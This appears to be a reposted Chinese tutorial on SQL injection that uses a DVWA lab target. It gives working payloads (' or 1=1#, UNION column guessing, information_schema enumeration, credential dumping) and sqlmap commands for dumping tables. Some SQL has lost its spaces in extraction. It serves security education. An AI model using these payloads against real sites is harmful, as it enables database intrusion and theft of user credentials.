目录
1. 概述
1.1 web安全渗透测试分类
web数据库安全(sql注入漏洞)
web应用服务器安全(文件上传漏洞,文件包含漏洞)
web客户端安全(XSS跨站攻击)
1.2 sql注入原理
sql注入介绍
- sql注入在安全问题中排行榜首
- sql注入攻击是输入参数未经过滤,直接拼接到SQL语句中解析
- sql注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法
原理
- 攻击者在页面提交恶意字符/代码
- 服务器未对提交参数进行过滤或过滤不足
- 攻击者利用拼接sql语句方式获取数据库敏感信息
# 通过sql注入的方式,可以得到user表中所有信息select*fromuserwhere id = " or1=1--
1.3 sql注入危害
- 获取web网站数据库,数据泄露
- 用户数据被非法买卖
- 危害web应用安全
1.4 sql注入实现方式
手动实现sql注入
查找:注入点
输入:sql常用注入组合语法,进行注入
工具自动实现sql注入
工具:扫描注入点
输入:自动尝试各种组合语法
2. 安全渗透环境搭建
- VMware虚拟机软件
- 靶机:安装了很多已知漏洞的web应用程序,学习sql注入项目环境
3. 渗透机-kali,包含数百种工具(比如自动注入工具),可用于各种信息安全任务,例如渗透测试,安全研究
kali:https://www.kali.org/get-kali/#kali-virtual-machines
下载完成以后,解压,在vmware中,文件–扫描虚拟机–选择解压缩的文件夹,会自动定位到kali系统(.vmx文件),完成以后开启虚拟机
3. 实操
进入靶机,输入以下命令进入mysql环境
mysql -uroot -powaspbwa
3.1 预备知识
所有sql语句写完都必须加上;否则不会成功执行
操作数据库
# 查看所有数据库showdatabases;# 使用库(use 库名;)use dvwa;# 查看默认库/查看当前在哪个库下selectdatabase();
操作表
# 查看当前库中的所有表showtables;# 查看表结构desc 表名;# 查看创建表的sql语句(\G表示字段以行的方式显示,不仅是这条语句可以在末尾使用\G,select也可以使用\G)showcreatetable users\G;# 查看当前登录数据库的用户是哪个selectuser();
基本语句-查询
# 查询所有字段select*from users;# 查询指定字段selectuser,password from users;# 条件查询select*from users whereuser='admin';
# 逻辑与select*from users whereuser='admin'and user_id=6;
# 逻辑或select*from users whereuser='adminn'or user_id=5;
UNION语句
sql注入漏洞的重点使用方式;将2条sql语句联合起来查询
- sql1 union sql2
- 两条sql语句查询字段数必须相同(如果字段数不同,则执行失败)
# unionselectuser, password from mysql.user;unionselectuser, password from dvwa.users;
- 解决方法:使用数字代替列,猜测前面表的查询列数
sql注入漏洞,就是通过拼接union后语句实现获取数据库隐私信息
特殊库
介绍
库名:information_schema
作用:存储了mysql中所有库名、表名、列名,是mysql数据的字典(有点类似windows系统中的注册表)
应用:sql注入经常从此库中获取需要的库名、表名、字段名
关注:tables表记录了mysql库中所有的表(表名对应的库名);columns表记录了mysql库中所有表和列
操作
# 查看表select*from information_schema.TABLES\G;select*from information_schema.COLUMNS\G;# 关注字段# 数据库名
TABLE_SCHEMA
# 表名
TABLE_NAME
# 列名
COLUMN_NAME
# show databases 效果在特殊库.TABLES表中如何获取?(一个库有许多表,所以需要去重)selectDISTINCT TABLE_SCHEMA from information_schema.TABLES\G;# show tables 效果在特殊库.TABLES表中如何获取?select TABLE_NAME from information_schema.TABLES\G where TABLE_SCHEMA='dvwa';
sql注释
说明:注释语句不会被执行,在sql注入中可以将查询条件注释掉
#单行注释#语法1(#文字)select*from users;#查询users表所有信息#语法2(-- 文字),必须有个空格select*from users;-- 查询users表所有信息#多行注释(也可以作为单行注释来使用)/*这是多行注释*/
使用sql注释获取用户名和密码
# $会自动拼接对应的字符串select*fromuserwhere username=$userand password=$pwd
# $user=admin# $pwd=123# 上面的sql相当于下面这个,等价于不需要判断密码了select*fromuserwhere username=admin# and password=123
sql注入流程
- 收集项目信息(操作系统、数据库类型、web服务器类型)
- 查找注入点(单引号、井号、转义符)
- 注入sql语句(#或者union)
- 获取数据库信息
- 破解数据库管理员账号密码
- 开始用sql-shell等工具登录并获取数据
3.2 手动注入
环境准备
说明:通过靶机web应用程序,联系手动注入
步骤:
- 启动靶机虚拟机
- 通过浏览器访问靶机
- 选择Damn Vulnerable Web Application
- 访问Owasp-dvwa项目(用户名密码都是admin)
- 选中sql注入应用程序(SQL Injection)
查找注入点
说明:主要采用单引号、转义字符\、以单引号为主
提交用户信息或id=处使用单引号测试
原理
# 后台程序sql语句select first_name, last_name from users where user_id='$id';# 输入单引号',相当于将sql语句闭合,后面就可以附加其他逻辑条件了select first_name, last_name from users where user_id=''';
逻辑或应用
说明:使用逻辑或来获取当前表所有信息
目的:获取当前表所有信息(通过以下输入方式只能获取用户名,结合union可以获取密码)
输入:’ or 1=1#
'闭合前面条件
#注释后面单引号
案例
需求:获取users表中所有用户名和密码
方案:使用union联合查询所有用户表语句
步骤:
- 猜测字段数
- 获取数据库名
- 获取数据库下所有的表
- 获取表中所有数据
猜测字段数
# 第一次猜测unionselect1## 第二次猜测unionselect1,2## 直到不报语法错误,确认结果有几个字段
获取数据库、表、列
# 获取当前数据库名
ID: ' union select 1, database()#
# 获取表
'unionselect table_name,1from information_schema.tableswhere TABLE_SCHEMA='dvwa'## 获取列' union select column_name,1 from information_schema.columns where TABLE_NAME='users'#
获取数据
# 获取单个字段数据' union select user,1 from users#
# 获取2个字段
'unionselectuser,password from users#
字段数限制
问题:后台sql默认查询字段数限制,注入时只能获取相同字段的数据
思路:使用concat函数(拼接多个字符串为一个字符串),concat(str1,str2,…)
# 获取users表中user_id,user,password,分为两列显示select user_id, concat(user,password)from dvwa.users;# 以上查询出来的结果user和password连在一起显示不清晰,所以需要在中间加空格select user_id, concat('user:',user,' password:',password)from dvwa.users;
# 获取多个字段' union select user,concat(first_name, '', last_name, ' ', password)from users#
3.3 自动注入
利用工具代替人工去完成sql注入操作
工具
- sqlmap
- 一个开源渗透测试工具
- 自动检测和利用sql注入漏洞并接管数据库服务器
搭建环境
- http://sqlmap.org(需要自己下载,不用)
- 启动kali虚拟机(渗透机kali自带sqlmap工具(使用))
- 终端命令:sqlmap -h
sqlmap基本用法
命令:sqlmap 参数
参数:
# 扫描的url-u
# 自动处理提示信息即提示选项使用默认值(仅加以上2个参数,仍然会存在扫描url被重定向到登录请求的问题)--batch# 附加cookie参数(解决以上参数没有解决的登录的重定向问题,F12调试可以找到cookie,复制)--cookie
案例:
目标:使用sqlmap对OWAP应用注入获取users表中所有用户名和密码
环境:启动靶机、启动渗透机、url(http://靶机ip/dvwa/vulnerabilities/sqli/?id=6&Submit=Submit#)
步骤:
- 扫描注入点(把靶机中的url复制到渗透机的终端中,作为url参数执行)
- 获取数据库名
- 获取表名
- 获取字段名
- 获取数据
案例
# sqlmap获取库名# 查询当前web使用的数据库名--current-db# 指定数据库-D
# sqlmap获取表# 查询指定库下所有表名(需要先用-D指定库名)--tables# 指定表(使用表时需要用-T指定)-T
# sqlmap获取列/字段# 查询指定表下所有字段--columns# 指定字段名-C
# sqlmap获取数据# 下载数据--dump
版权归原作者 jy... 所有, 如有侵权,请联系我们删除。